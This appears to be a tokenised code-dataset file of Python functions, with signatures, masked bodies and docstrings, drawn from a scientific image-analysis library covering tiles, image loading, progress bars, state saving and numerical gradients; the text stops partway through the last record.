{"signature": "def _format_vector(self, vecs, form='<STR_LIT>'):", "body": "if form == '<STR_LIT>':<EOL><INDENT>return np.meshgrid(*vecs, indexing='<STR_LIT>')<EOL><DEDENT>elif form == '<STR_LIT>':<EOL><INDENT>vecs = np.meshgrid(*vecs, indexing='<STR_LIT>')<EOL>return np.rollaxis(np.array(np.broadcast_arrays(*vecs)),<NUM_LIT:0>,self.dim+<NUM_LIT:1>)<EOL><DEDENT>elif form == '<STR_LIT>':<EOL><INDENT>return vecs<EOL><DEDENT>else:<EOL><INDENT>return [v[self._coord_slicers[i]] for i,v in enumerate(vecs)]<EOL><DEDENT>", "docstring": "Format a 3d vector field in certain ways, see `coords` for a description\nof each formatting method.", "id": "f5741:c1:m10"}
{"signature": "def coords(self, norm=False, form='<STR_LIT>'):", "body": "if norm is False:<EOL><INDENT>norm = <NUM_LIT:1><EOL><DEDENT>if norm is True:<EOL><INDENT>norm = np.array(self.shape)<EOL><DEDENT>norm = aN(norm, self.dim, dtype='<STR_LIT:float>')<EOL>v = list(np.arange(self.l[i], self.r[i]) / norm[i] for i in range(self.dim))<EOL>return self._format_vector(v, form=form)<EOL>", "docstring": "Returns the coordinate vectors associated with the tile.\n\nParameters\n-----------\nnorm : boolean\n    can rescale the coordinates for you. False is no rescaling, True is\n    rescaling so that all coordinates are from 0 -> 1.  If a scalar,\n    the same norm is applied uniformally while if an iterable, each\n    scale is applied to each dimension.\n\nform : string\n    In what form to return the vector array. Can be one of:\n        'broadcast' -- return 1D arrays that are broadcasted to be 3D\n\n        'flat' -- return array without broadcasting so each component\n            is 1D and the appropriate length as the tile\n\n        'meshed' -- arrays are explicitly broadcasted and so all have\n            a 3D shape, each the size of the tile.\n\n        'vector' -- array is meshed and combined into one array with\n            the vector components along last dimension [Nz, Ny, Nx, 3]\n\nExamples\n--------\n>>> Tile(3, dim=2).coords(form='meshed')[0]\narray([[ 0.,  0.,  0.],\n       [ 1.,  1.,  1.],\n       [ 2.,  2.,  2.]])\n\n>>> Tile(3, dim=2).coords(form='meshed')[1]\narray([[ 0.,  1.,  2.],\n       [ 0.,  1.,  2.],\n       [ 0.,  1.,  2.]])\n\n>>> Tile([4,5]).coords(form='vector').shape\n(4, 5, 2)\n\n>>> [i.shape for i in Tile((4,5), dim=2).coords(form='broadcast')]\n[(4, 1), (1, 5)]", "id": "f5741:c1:m11"}
{"signature": "def kvectors(self, norm=False, form='<STR_LIT>', real=False, shift=False):", "body": "if norm is False:<EOL><INDENT>norm = <NUM_LIT:1><EOL><DEDENT>if norm is True:<EOL><INDENT>norm = np.array(self.shape)<EOL><DEDENT>norm = aN(norm, self.dim, dtype='<STR_LIT:float>')<EOL>v = list(np.fft.fftfreq(self.shape[i])/norm[i] for i in range(self.dim))<EOL>if shift:<EOL><INDENT>v = list(np.fft.fftshift(t) for t in v)<EOL><DEDENT>if real:<EOL><INDENT>v[-<NUM_LIT:1>] = v[-<NUM_LIT:1>][:(self.shape[-<NUM_LIT:1>]+<NUM_LIT:1>)//<NUM_LIT:2>]<EOL><DEDENT>return self._format_vector(v, form=form)<EOL>", "docstring": "Return the kvectors associated with this tile, given the standard form\nof -0.5 to 0.5. `norm` and `form` arguments arethe same as that passed to\n`Tile.coords`.\n\nParameters\n-----------\nreal : boolean\n    whether to return kvectors associated with the real fft instead", "id": "f5741:c1:m12"}
{"signature": "def contains(self, items, pad=<NUM_LIT:0>):", "body": "o = ((items >= self.l-pad) & (items < self.r+pad))<EOL>if len(o.shape) == <NUM_LIT:2>:<EOL><INDENT>o = o.all(axis=-<NUM_LIT:1>)<EOL><DEDENT>elif len(o.shape) == <NUM_LIT:1>:<EOL><INDENT>o = o.all()<EOL><DEDENT>return o<EOL>", "docstring": "Test whether coordinates are contained within this tile.\n\nParameters\n----------\nitems : ndarray [3] or [N, 3]\n    N coordinates to check are within the bounds of the tile\n\npad : integer or ndarray [3]\n    anisotropic padding to apply in the contain test\n\nExamples\n--------\n>>> Tile(5, dim=2).contains([[-1, 0], [2, 3], [2, 6]])\narray([False,  True, False], dtype=bool)", "id": "f5741:c1:m15"}
{"signature": "@staticmethod<EOL><INDENT>def intersection(tiles, *args):<DEDENT>", "body": "tiles = listify(tiles) + listify(args)<EOL>if len(tiles) < <NUM_LIT:2>:<EOL><INDENT>return tiles[<NUM_LIT:0>]<EOL><DEDENT>tile = tiles[<NUM_LIT:0>]<EOL>l, r = tile.l.copy(), tile.r.copy()<EOL>for tile in tiles[<NUM_LIT:1>:]:<EOL><INDENT>l = amax(l, tile.l)<EOL>r = amin(r, tile.r)<EOL><DEDENT>return Tile(l, r, dtype=l.dtype)<EOL>", "docstring": "Intersection of tiles, returned as a tile\n\n>>> Tile.intersection(Tile([0, 1], [5, 4]), Tile([1, 0], [4, 5]))\nTile [1, 1] -> [4, 4] ([3, 3])", "id": "f5741:c1:m16"}
{"signature": "@staticmethod<EOL><INDENT>def boundingtile(tiles, *args):<DEDENT>", "body": "tiles = listify(tiles) + listify(args)<EOL>if len(tiles) < <NUM_LIT:2>:<EOL><INDENT>return tiles[<NUM_LIT:0>]<EOL><DEDENT>tile = tiles[<NUM_LIT:0>]<EOL>l, r = tile.l.copy(), tile.r.copy()<EOL>for tile in tiles[<NUM_LIT:1>:]:<EOL><INDENT>l = amin(l, tile.l)<EOL>r = amax(r, tile.r)<EOL><DEDENT>return Tile(l, r, dtype=l.dtype)<EOL>", "docstring": "Convex bounding box of a group of tiles\n\n>>> Tile.boundingtile(Tile([0, 1], [5, 4]), Tile([1, 0], [4, 5]))\nTile [0, 0] -> [5, 5] ([5, 5])", "id": "f5741:c1:m17"}
{"signature": "def translate(self, dr):", "body": "tile = self.copy()<EOL>tile.l += dr<EOL>tile.r += dr<EOL>return tile<EOL>", "docstring": "Translate a tile by an amount dr\n\n>>> Tile(5).translate(1)\nTile [1, 1, 1] -> [6, 6, 6] ([5, 5, 5])", "id": "f5741:c1:m23"}
{"signature": "def pad(self, pad):", "body": "tile = self.copy()<EOL>tile.l -= pad<EOL>tile.r += pad<EOL>return tile<EOL>", "docstring": "Pad this tile by an equal amount on each side as specified by pad\n\n>>> Tile(10).pad(2)\nTile [-2, -2, -2] -> [12, 12, 12] ([14, 14, 14])\n\n>>> Tile(10).pad([1,2,3])\nTile [-1, -2, -3] -> [11, 12, 13] ([12, 14, 16])", "id": "f5741:c1:m24"}
{"signature": "def overhang(self, tile):", "body": "ll = np.abs(amin(self.l - tile.l, aN(<NUM_LIT:0>, dim=self.dim)))<EOL>rr = np.abs(amax(self.r - tile.r, aN(<NUM_LIT:0>, dim=self.dim)))<EOL>return ll, rr<EOL>", "docstring": "Get the left and right absolute overflow -- the amount of box\noverhanging `tile`, can be viewed as self \\\\ tile (set theory relative\ncomplement, but in a bounding sense)", "id": "f5741:c1:m25"}
{"signature": "def reflect_overhang(self, clip):", "body": "orig = self.copy()<EOL>tile = self.copy()<EOL>hangl, hangr = tile.overhang(clip)<EOL>tile = tile.pad(hangl)<EOL>tile = tile.pad(hangr)<EOL>inner = Tile.intersection([clip, orig])<EOL>outer = Tile.intersection([clip, tile])<EOL>return inner, outer<EOL>", "docstring": "Compute the overhang and reflect it internally so respect periodic\npadding rules (see states._tile_from_particle_change). Returns both\nthe inner tile and the inner tile with necessary pad.", "id": "f5741:c1:m26"}
{"signature": "def __init__(self, image, tile=None, filters=None):", "body": "self.filters = filters or []<EOL>self.image = image<EOL>self.tile = tile or Tile(image.shape)<EOL>", "docstring": "Create an image object from a raw np.ndarray.\n\nParameters\n-----------\nimage : ndarray\n    The image in float format with dimensions arranged as [z,y,x]\n\ntile : `peri.util.Tile`\n    The region of the image to crop out to use for the actual\n    featuring, etc. Coordinates are in pixel-space.\n\nfilters : list of tuples\n    A list of (slice, value) pairs which are Fourier-space domain\n    filters that are to be applied to an image. In Fourier-space,\n    each filter is a numpy slice object and the Fourier values\n    to be subtracted from those slices.", "id": "f5741:c2:m0"}
{"signature": "def filtered_image(self, im):", "body": "q = np.fft.fftn(im)<EOL>for k,v in self.filters:<EOL><INDENT>q[k] -= v<EOL><DEDENT>return np.real(np.fft.ifftn(q))<EOL>", "docstring": "Returns a filtered image after applying the Fourier-space filters", "id": "f5741:c2:m3"}
{"signature": "def set_tile(self, tile):", "body": "self.tile = tile<EOL>", "docstring": "Sets the current tile of the image to a `peri.util.Tile`", "id": "f5741:c2:m4"}
{"signature": "def set_filter(self, slices, values):", "body": "self.filters = [[sl,values[sl]] for sl in slices]<EOL>", "docstring": "Sets Fourier-space filters for the image. The image is filtered by\nsubtracting values from the image at slices.\n\nParameters\n----------\nslices : List of indices or slice objects.\n    The q-values in Fourier space to filter.\nvalues : np.ndarray\n    The complete array of Fourier space peaks to subtract off.  values\n    should be the same size as the FFT of the image; only the portions\n    of values at slices will be removed.\n\nExamples\n--------\nTo remove a two Fourier peaks in the data at q=(10, 10, 10) &\n(245, 245, 245), where im is the residuals of a model:\n\n    * slices = [(10,10,10), (245, 245, 245)]\n    * values = np.fft.fftn(im)\n    * im.set_filter(slices, values)", "id": "f5741:c2:m5"}
{"signature": "def __init__(self, image=None, shape=None):", "body": "if image is not None:<EOL><INDENT>self.shape = image.shape<EOL>super(NullImage, self).__init__(image)<EOL><DEDENT>elif shape is not None:<EOL><INDENT>self.shape = shape<EOL>super(NullImage, self).__init__(np.zeros(self.shape))<EOL><DEDENT>else:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "An image object that doesn't actual store any information so that small\nsave states can be created for pure model states\n\nParameters\n-----------\nshape : tuple\n    Size of the image which will be mocked", "id": "f5741:c3:m0"}
{"signature": "def __init__(self, filename, tile=None, invert=False, exposure=None,<EOL>float_precision=np.float64):", "body": "self.filename = filename<EOL>self.invert = invert<EOL>self.filters = None<EOL>self.exposure = exposure<EOL>if float_precision not in (np.float64, np.float32, np.float16):<EOL><INDENT>raise ValueError('<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT>self.float_precision = float_precision<EOL>image = self.load_image()<EOL>super(RawImage, self).__init__(image, tile=tile)<EOL>", "docstring": "An image object which stores information about desired region, exposure\ncompensation, color inversion, and filters to remove certain fourier\npeaks.\n\nParameters\n----------\nfilename : str\n    Path of the image file. Recommended that you supply a relative path\n    so that transfer between computers is possible, i.e. if the file is located\n    at ``/home/user/data/1.tif`` then work in the directory ``/home/user/data``\n    and supply the filename ``1.tif``.\n\ntile : :class:`peri.util.Tile`\n    the region of the image to crop out to use for the actual featuring, etc\n\ninvert : boolean\n    Whether to invert the image.\n\nexposure : tuple of numbers (min, max) | None\n    If set, it is the values used to normalize the image. It is the\n    values which map to 0 and 1 in the loaded version of the image, the\n    default being for 8-bit images, mapping raw values (0, 255) to\n    loaded values (0, 1). This functionality is provided since the\n    noise and exposure may change between images where a common scaling\n    is desired for proper comparison.  Setting this values allows a\n    series of images to be initialized with the same ILM, PSF etc.\n    Should be the bit value of the camera.\n\nfloat_precision : numpy float datatype\n    One of numpy.float16, numpy.float32, numpy.float64; precision\n    for precomputed arrays. Default is np.float64; make it 16 or 32\n    to save memory.", "id": "f5741:c4:m0"}
{"signature": "def load_image(self):", "body": "try:<EOL><INDENT>image = initializers.load_tiff(self.filename)<EOL>image = initializers.normalize(<EOL>image, invert=self.invert, scale=self.exposure,<EOL>dtype=self.float_precision<EOL>)<EOL><DEDENT>except IOError as e:<EOL><INDENT>log.error(\"<STR_LIT>\" % self.filename)<EOL>raise e<EOL><DEDENT>return image<EOL>", "docstring": "Read the file and perform any transforms to get a loaded image", "id": "f5741:c4:m1"}
{"signature": "def set_scale(self, exposure):", "body": "self.exposure = exposure<EOL>", "docstring": "Set the exposure parameter for this image, which determines the\nvalues which get mapped to (0,1) in the output image.\n\nSee also\n--------\n:class:`peri.util.RawImage`", "id": "f5741:c4:m2"}
{"signature": "def get_scale(self):", "body": "if self.exposure is not None:<EOL><INDENT>return self.exposure<EOL><DEDENT>raw = initializers.load_tiff(self.filename)<EOL>return raw.min(), raw.max()<EOL>", "docstring": "If exposure was not set in the __init__, get the exposure associated\nwith this RawImage so that it may be used in other\n:class:`~peri.util.RawImage`. This is useful for transferring exposure\nparameters to a series of images.\n\nReturns\n-------\nexposure : tuple of floats\n    The (emin, emax) which get mapped to (0, 1)", "id": "f5741:c4:m3"}
{"signature": "@staticmethod<EOL><INDENT>def get_scale_from_raw(raw, scaled):<DEDENT>", "body": "t0, t1 = scaled.min(), scaled.max()<EOL>r0, r1 = float(raw.min()), float(raw.max())<EOL>rmin = (t1*r0 - t0*r1) / (t1 - t0)<EOL>rmax = (r1 - r0) / (t1 - t0) + rmin<EOL>return (rmin, rmax)<EOL>", "docstring": "When given a raw image and the scaled version of the same image, it\nextracts the ``exposure`` parameters associated with those images.\nThis is useful when\n\nParameters\n----------\nraw : array_like\n    The image loaded fresh from a file\n\nscaled : array_like\n    Image scaled using :func:`peri.initializers.normalize`\n\nReturns\n-------\nexposure : tuple of numbers\n    Returns the exposure parameters (emin, emax) which get mapped to\n    (0, 1) in the scaled image. Can be passed to\n    :func:`~peri.util.RawImage.__init__`", "id": "f5741:c4:m4"}
{"signature": "def __init__(self, num, label='<STR_LIT>', value=<NUM_LIT:0>, screen=<NUM_LIT>,<EOL>time_remaining=True, bar=True, bar_symbol='<STR_LIT:=>', bar_caps='<STR_LIT>',<EOL>bar_decimals=<NUM_LIT:2>, display=True):", "body": "<EOL>self.num = num<EOL>self.value = value<EOL>self._percent = <NUM_LIT:0><EOL>self.time_remaining = time_remaining<EOL>self._deltas = []<EOL>self.display = display<EOL>self.label = label<EOL>self.bar = bar<EOL>self._bar_symbol = bar_symbol<EOL>self._bar_caps = bar_caps<EOL>self._decimals = bar_decimals<EOL>self.screen = screen<EOL>if len(self._bar_caps) % <NUM_LIT:2> != <NUM_LIT:0>:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT>if self.bar:<EOL><INDENT>self._numsize = <NUM_LIT:3> + self._decimals + <NUM_LIT:1><EOL>self._cap_len = len(self._bar_caps)//<NUM_LIT:2><EOL>self._capl = self._bar_caps[:self._cap_len]<EOL>self._capr = self._bar_caps[self._cap_len:]<EOL>self._time_space = <NUM_LIT:11> if self.time_remaining else <NUM_LIT:0><EOL>self._barsize = (<EOL>self.screen - len(self.label) - self._numsize -<EOL>len(self._bar_caps) - <NUM_LIT:2> - <NUM_LIT:1> - self._time_space<EOL>)<EOL>self._formatstr = '<STR_LIT>'<EOL>self._percent = <NUM_LIT:0><EOL>self._dt = '<STR_LIT>'<EOL>self._bars = '<STR_LIT>'<EOL>if self.time_remaining:<EOL><INDENT>self._formatstr += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>else:<EOL><INDENT>self._digits = str(int(np.ceil(np.log10(self.num))))<EOL>self._formatstr = '<STR_LIT>'<EOL>self._dt = '<STR_LIT>'<EOL>if self.time_remaining:<EOL><INDENT>self._formatstr += \"<STR_LIT>\"<EOL><DEDENT><DEDENT>self.update()<EOL>", "docstring": "ProgressBar class which creates a dynamic ASCII progress bar of two\ndifferent varieties:\n\n    1) A bar chart that looks like the following:\n        ``Progress [================      ]  63.00%``\n\n    2) A simple number completed look:\n        ``Progress :   17 / 289``\n\nParameters\n-----------\nnum : integer\n    The number of tasks that need to be completed\n\nlabel : string [default: 'Progress']\n    The label for this particular progress indicator,\n\nvalue : integer [default: 0]\n    Starting value\n\nscreen : integer [default: 79]\n    Size the screen to use for the progress bar\n\ntime_remaining : boolean [default: True]\n    Display estimated time remaining\n\nbar : boolean [default: True]\n    Whether or not to display the bar chart\n\nbar_symbol : char [default: '=']\n    The character to use to fill in the bar chart\n\nbar_caps : string [default: '[]']\n    Characters to use as the end caps of the.  The string will be split in\n    half and each half put on a side of the chart\n\nbar_decimals : integer [default: 2]\n    Number of decimal places to include in the percentage\n\ndisplay : boolean [default: True]\n    a crutch so that we don't have a lot of ``if``s later.  display\n    or don't display the progress bar", "id": "f5741:c5:m0"}
{"signature": "def _draw(self):", "body": "if self.display:<EOL><INDENT>print(self._formatstr.format(**self.__dict__), end='<STR_LIT>')<EOL>sys.stdout.flush()<EOL><DEDENT>", "docstring": "Interal draw method, simply prints to screen", "id": "f5741:c5:m2"}
{"signature": "def update(self, value=<NUM_LIT:0>):", "body": "self._deltas.append(time.time())<EOL>self.value = value<EOL>self._percent = <NUM_LIT> * self.value / self.num<EOL>if self.bar:<EOL><INDENT>self._bars = self._bar_symbol*int(np.round(self._percent / <NUM_LIT> * self._barsize))<EOL><DEDENT>if (len(self._deltas) < <NUM_LIT:2>) or (self._deltas[-<NUM_LIT:1>] - self._deltas[-<NUM_LIT:2>]) > <NUM_LIT>:<EOL><INDENT>self._estimate_time()<EOL>self._draw()<EOL><DEDENT>if self.value == self.num:<EOL><INDENT>self.end()<EOL><DEDENT>", "docstring": "Update the value of the progress and update progress bar.\n\nParameters\n-----------\nvalue : integer\n    The current iteration of the progress", "id": "f5741:c5:m4"}
{"signature": "def sample(field, inds=None, slicer=None, flat=True):", "body": "if inds is not None:<EOL><INDENT>out = field.ravel()[inds]<EOL><DEDENT>elif slicer is not None:<EOL><INDENT>out = field[slicer].ravel()<EOL><DEDENT>else:<EOL><INDENT>out = field<EOL><DEDENT>if flat:<EOL><INDENT>return out.ravel()<EOL><DEDENT>return out<EOL>", "docstring": "Take a sample from a field given flat indices or a shaped slice\n\nParameters\n-----------\ninds : list of indices\n    One dimensional (raveled) indices to return from the field\n\nslicer : slice object\n    A shaped (3D) slicer that returns a section of image\n\nflat : boolean\n    Whether to flatten the sampled item before returning", "id": "f5742:m0"}
{"signature": "def save(state, filename=None, desc='<STR_LIT>', extra=None):", "body": "if isinstance(state.image, util.RawImage):<EOL><INDENT>desc = desc or '<STR_LIT>'<EOL>filename = filename or state.image.filename + '<STR_LIT>' + desc + '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>if not filename:<EOL><INDENT>raise AttributeError(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>if extra is None:<EOL><INDENT>save = state<EOL><DEDENT>else:<EOL><INDENT>save = [state] + extra<EOL><DEDENT>if os.path.exists(filename):<EOL><INDENT>ff = \"<STR_LIT>\".format(filename)<EOL>if os.path.exists(ff):<EOL><INDENT>os.remove(ff)<EOL><DEDENT>os.rename(filename, ff)<EOL><DEDENT>pickle.dump(save, open(filename, '<STR_LIT:wb>'), protocol=<NUM_LIT:2>)<EOL>", "docstring": "Save the current state with extra information (for example samples and LL\nfrom the optimization procedure).\n\nParameters\n----------\nstate : peri.states.ImageState\n    the state object which to save\n\nfilename : string\n    if provided, will override the default that is constructed based on\n    the state's raw image file.  If there is no filename and the state has\n    a RawImage, the it is saved to RawImage.filename + \"-peri-save.pkl\"\n\ndesc : string\n    if provided, will augment the default filename to be\n    RawImage.filename + '-peri-' + desc + '.pkl'\n\nextra : list of pickleable objects\n    if provided, will be saved with the state", "id": "f5742:m1"}
{"signature": "def load(filename):", "body": "path, name = os.path.split(filename)<EOL>path = path or '<STR_LIT:.>'<EOL>with util.indir(path):<EOL><INDENT>return pickle.load(open(name, '<STR_LIT:rb>'))<EOL><DEDENT>", "docstring": "Load the state from the given file, moving to the file's directory during\nload (temporarily, moving back after loaded)\n\nParameters\n----------\nfilename : string\n    name of the file to open, should be a .pkl file", "id": "f5742:m2"}
{"signature": "def __init__(self, params, values, logpriors=None, hyper_params=['<STR_LIT>'],<EOL>hyper_values=[<NUM_LIT>], **kwargs):", "body": "self.stack = []<EOL>self.logpriors = logpriors<EOL>super(State, self).__init__(params, values, **kwargs)<EOL>self.hyper_parameters = comp.ParameterGroup(hyper_params, hyper_values)<EOL>self.build_funcs()<EOL>", "docstring": "A model and corresponding functions to perform a fit to data using a\nvariety of optimization routines. A model takes parameters and values\n(names and values) which determine the output of a model, which is then\ncompared with data.\n\nParameters\n-----------\nparams : list of strings\n    The names of the parameters (should be a unique set)\n\nvalues : list of numbers\n    The corresponding values of the parameters\n\nlogpriors : list of `peri.prior.Prior`\n    Priors (constraints) to apply to parameters\n\nhyper_params : list of strings, optional\n    The names of any hyper-parameters (should be a unique set).\n    Stored as a `peri.comp.ParameterGroup`. Default is `['sigma']`,\n    the standard-deviation of the noise distribution.\n\nhyper_values : list of numbers, optional\n    The corresponding values of the hyper-parameters. Stored as a\n    `peri.comp.ParameterGroup`. Default is `[0.04]`\n\nkwargs :\n    Arguments to pass to super class :class:`peri.comp.ParameterGroup`\n    including `ordered` and `category`.", "id": "f5742:c1:m0"}
{"signature": "@property<EOL><INDENT>def data(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Class property: the raw data of the model fit. Should return a number\n(preferrably float) or an ndarray (essentially any object which as\noperands +-/...). This object is constant since it is data.", "id": "f5742:c1:m1"}
{"signature": "@property<EOL><INDENT>def model(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Class property: the current model fit to the data. Should return a\nnumber or ndarray. Ideally this object should be an object updated by\nthe :func:`peri.states.State.update` function and simply returned in\nthis property", "id": "f5742:c1:m2"}
{"signature": "@property<EOL><INDENT>def residuals(self):<DEDENT>", "body": "return self.data - self.model<EOL>", "docstring": "Class property: the model residuals wrt data, residuals = data - model,\n:math:`R_i = D_i - M_i(\\\\theta)`", "id": "f5742:c1:m3"}
{"signature": "@property<EOL><INDENT>def error(self):<DEDENT>", "body": "r = self.residuals.ravel()<EOL>return np.dot(r,r)<EOL>", "docstring": "Class property: Sum of the squared errors,\n:math:`E = \\sum_i (D_i - M_i(\\\\theta))^2`", "id": "f5742:c1:m4"}
{"signature": "@property<EOL><INDENT>def loglikelihood(self):<DEDENT>", "body": "sig = self.hyper_parameters.get_values('<STR_LIT>')<EOL>err = self.error<EOL>N = np.size(self.data)<EOL>return -<NUM_LIT:0.5>*err/sig**<NUM_LIT:2> - np.log(np.sqrt(<NUM_LIT:2>*np.pi)*sig)*N<EOL>", "docstring": "Class property: loglikelihood calculated by the model error,\n:math:`\\\\mathcal{L} = - \\\\frac{1}{2} \\\\sum\\\\left[\n\\\\left(\\\\frac{D_i - M_i(\\\\theta)}{\\sigma}\\\\right)^2\n+ \\\\log{(2\\pi \\sigma^2)} \\\\right]`", "id": "f5742:c1:m5"}
{"signature": "@property<EOL><INDENT>def logposterior(self):<DEDENT>", "body": "return self.logprior + self.loglikelihood<EOL>", "docstring": "Class property: log of posterior prob (including likelihood\ncalculated by the model error and priors):\n\nself.logprior + self.loglikelihood", "id": "f5742:c1:m6"}
{"signature": "@property<EOL><INDENT>def logprior(self):<DEDENT>", "body": "return <NUM_LIT:0><EOL>", "docstring": "Class property: logprior calculated from the sum of all prior objects", "id": "f5742:c1:m7"}
{"signature": "def update(self, params, values):", "body": "return super(State, self).update(params, values)<EOL>", "docstring": "Update a single parameter or group of parameters ``params``\nwith ``values``.\n\nParameters\n----------\nparams : string or list of strings\n    Parameter names which to update\n\nvalue : number or list of numbers\n    Values of those parameters which to update", "id": "f5742:c1:m8"}
{"signature": "def update_hyper(self, params, values):", "body": "self.hyper_parameters.update(params, values)<EOL>", "docstring": "Update any single hyper parameter or group of parameters ``params``\nwith ``values``.\n\nParameters\n----------\nparams : string or list of strings\n    Parameter names which to update\n\nvalue : number or list of numbers\n    Values of those parameters which to update", "id": "f5742:c1:m9"}
{"signature": "def update_sigma(self, sigma):", "body": "self.update_hyper('<STR_LIT>', sigma)<EOL>", "docstring": "Updates the expected sigma of the noise distribution", "id": "f5742:c1:m10"}
{"signature": "def push_update(self, params, values):", "body": "curr = self.get_values(params)<EOL>self.stack.append((params, curr))<EOL>self.update(params, values)<EOL>", "docstring": "Perform a parameter update and keep track of the change on the state.\nSame call structure as :func:`peri.states.States.update`", "id": "f5742:c1:m11"}
{"signature": "def pop_update(self):", "body": "params, values = self.stack.pop()<EOL>self.update(params, values)<EOL>", "docstring": "Pop the last update from the stack push by\n:func:`peri.states.States.push_update` by undoing the chnage last\nperformed.", "id": "f5742:c1:m12"}
{"signature": "@contextmanager<EOL><INDENT>def temp_update(self, params, values):<DEDENT>", "body": "self.push_update(params, values)<EOL>yield<EOL>self.pop_update()<EOL>", "docstring": "Context manager to temporarily perform a parameter update (by using the\nstack structure). To use:\n\n    with state.temp_update(params, values):\n        # measure the cost or something\n        state.error", "id": "f5742:c1:m13"}
{"signature": "def _grad_one_param(self, funct, p, dl=<NUM_LIT>, rts=False, nout=<NUM_LIT:1>, **kwargs):", "body": "vals = self.get_values(p)<EOL>f0 = funct(**kwargs)<EOL>self.update(p, vals+dl)<EOL>f1 = funct(**kwargs)<EOL>if rts:<EOL><INDENT>self.update(p, vals)<EOL><DEDENT>if nout == <NUM_LIT:1>:<EOL><INDENT>return (f1 - f0) / dl<EOL><DEDENT>else:<EOL><INDENT>return [(f1[i] - f0[i]) / dl for i in range(nout)]<EOL><DEDENT>", "docstring": "Gradient of `func` wrt a single parameter `p`. (see _graddoc)", "id": "f5742:c1:m15"}
{"signature": "def _hess_two_param(self, funct, p0, p1, dl=<NUM_LIT>, rts=False, **kwargs):", "body": "vals0 = self.get_values(p0)<EOL>vals1 = self.get_values(p1)<EOL>f00 = funct(**kwargs)<EOL>self.update(p0, vals0+dl)<EOL>f10 = funct(**kwargs)<EOL>self.update(p1, vals1+dl)<EOL>f11 = funct(**kwargs)<EOL>self.update(p0, vals0)<EOL>f01 = funct(**kwargs)<EOL>if rts:<EOL><INDENT>self.update(p0, vals0)<EOL>self.update(p1, vals1)<EOL><DEDENT>return (f11 - f10 - f01 + f00) / (dl**<NUM_LIT:2>)<EOL>", "docstring": "Hessian of `func` wrt two parameters `p0` and `p1`. (see _graddoc)", "id": "f5742:c1:m16"}
{"signature": "def _grad(self, funct, params=None, dl=<NUM_LIT>, rts=False, nout=<NUM_LIT:1>, out=None,<EOL>**kwargs):", "body": "if params is None:<EOL><INDENT>params = self.param_all()<EOL><DEDENT>ps = util.listify(params)<EOL>f0 = funct(**kwargs)<EOL>calc_shape = (<EOL>lambda ar: (len(ps),) + (ar.shape if isinstance(<EOL>ar, np.ndarray) else (<NUM_LIT:1>,)))<EOL>if out is not None:<EOL><INDENT>grad = out  <EOL><DEDENT>elif nout == <NUM_LIT:1>:<EOL><INDENT>shape = calc_shape(f0)<EOL>grad = np.zeros(shape)  <EOL><DEDENT>else:<EOL><INDENT>shape = [calc_shape(f0[i]) for i in range(nout)]<EOL>grad = [np.zeros(shp) for shp in shape]<EOL><DEDENT>for i, p in enumerate(ps):<EOL><INDENT>if nout == <NUM_LIT:1>:<EOL><INDENT>grad[i] = self._grad_one_param(funct, p, dl=dl, rts=rts,<EOL>nout=nout, **kwargs)<EOL><DEDENT>else:<EOL><INDENT>stuff = self._grad_one_param(funct, p, dl=dl, rts=rts,<EOL>nout=nout, **kwargs)<EOL>for a in range(nout): grad[a][i] = stuff[a]<EOL><DEDENT><DEDENT>return grad<EOL>", "docstring": "Gradient of `func` wrt a set of parameters params. (see _graddoc)", "id": "f5742:c1:m17"}
{"signature": "def _jtj(self, funct, params=None, dl=<NUM_LIT>, rts=False, **kwargs):", "body": "grad = self._grad(funct=funct, params=params, dl=dl, rts=rts, **kwargs)<EOL>return np.dot(grad, grad.T)<EOL>", "docstring": "jTj of a `func` wrt to parmaeters `params`. (see _graddoc)", "id": "f5742:c1:m18"}
{"signature": "def _hess(self, funct, params=None, dl=<NUM_LIT>, rts=False, **kwargs):", "body": "if params is None:<EOL><INDENT>params = self.param_all()<EOL><DEDENT>ps = util.listify(params)<EOL>f0 = funct(**kwargs)<EOL>shape = f0.shape if isinstance(f0, np.ndarray) else (<NUM_LIT:1>,)<EOL>shape = (len(ps), len(ps)) + shape<EOL>hess = np.zeros(shape)<EOL>for i, pi in enumerate(ps):<EOL><INDENT>for j, pj in enumerate(ps[i:]):<EOL><INDENT>J = j + i<EOL>thess = self._hess_two_param(funct, pi, pj, dl=dl, rts=rts, **kwargs)<EOL>hess[i][J] = thess<EOL>hess[J][i] = thess<EOL><DEDENT><DEDENT>return np.squeeze(hess)<EOL>", "docstring": "Hessian of a `func` wrt to parmaeters `params`. (see _graddoc)", "id": "f5742:c1:m19"}
{"signature": "def build_funcs(self):", "body": "<EOL>def m(inds=None, slicer=None, flat=True):<EOL><INDENT>return sample(self.model, inds=inds, slicer=slicer, flat=flat).copy()<EOL><DEDENT>def r(inds=None, slicer=None, flat=True):<EOL><INDENT>return sample(self.residuals, inds=inds, slicer=slicer, flat=flat).copy()<EOL><DEDENT>def l():<EOL><INDENT>return self.loglikelihood<EOL><DEDENT>def r_e(**kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return r(**kwargs), np.copy(self.error)<EOL><DEDENT>def m_e(**kwargs):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>return m(**kwargs), np.copy(self.error)<EOL><DEDENT>self.fisherinformation = partial(self._jtj, funct=m)<EOL>self.gradloglikelihood = partial(self._grad, funct=l)<EOL>self.hessloglikelihood = partial(self._hess, funct=l)<EOL>self.gradmodel = partial(self._grad, funct=m)<EOL>self.hessmodel = partial(self._hess, funct=m)<EOL>self.JTJ = partial(self._jtj, funct=r)<EOL>self.J = partial(self._grad, funct=r)<EOL>self.J_e = partial(self._grad, funct=r_e, nout=<NUM_LIT:2>)<EOL>self.gradmodel_e = partial(self._grad, funct=m_e, nout=<NUM_LIT:2>)<EOL>self.fisherinformation.__doc__ = _graddoc + _sampledoc<EOL>self.gradloglikelihood.__doc__ = _graddoc<EOL>self.hessloglikelihood.__doc__ = _graddoc<EOL>self.gradmodel.__doc__ = _graddoc + _sampledoc<EOL>self.hessmodel.__doc__ = _graddoc + _sampledoc<EOL>self.JTJ.__doc__ = _graddoc + _sampledoc<EOL>self.J.__doc__ = _graddoc + 